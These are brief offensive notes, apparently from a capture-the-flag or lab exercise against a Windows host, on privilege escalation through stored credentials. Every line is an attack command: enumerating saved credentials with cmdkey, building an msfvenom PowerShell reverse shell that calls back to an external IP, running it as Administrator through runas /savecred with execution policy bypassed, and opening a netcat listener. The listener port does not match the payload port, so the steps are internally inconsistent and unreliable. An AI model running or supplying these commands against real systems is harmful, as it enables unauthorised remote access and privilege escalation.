Saved Creds runas

cmdkey /list   ..look for saved passwords
               ..found user: ACCESS\Administrator

prep:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.47 LPORT=1337 -f psh -o reverse.ps1

C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -NoExit -File c:\temp\reverse.ps1"
nc -nvlp 4444

Last updated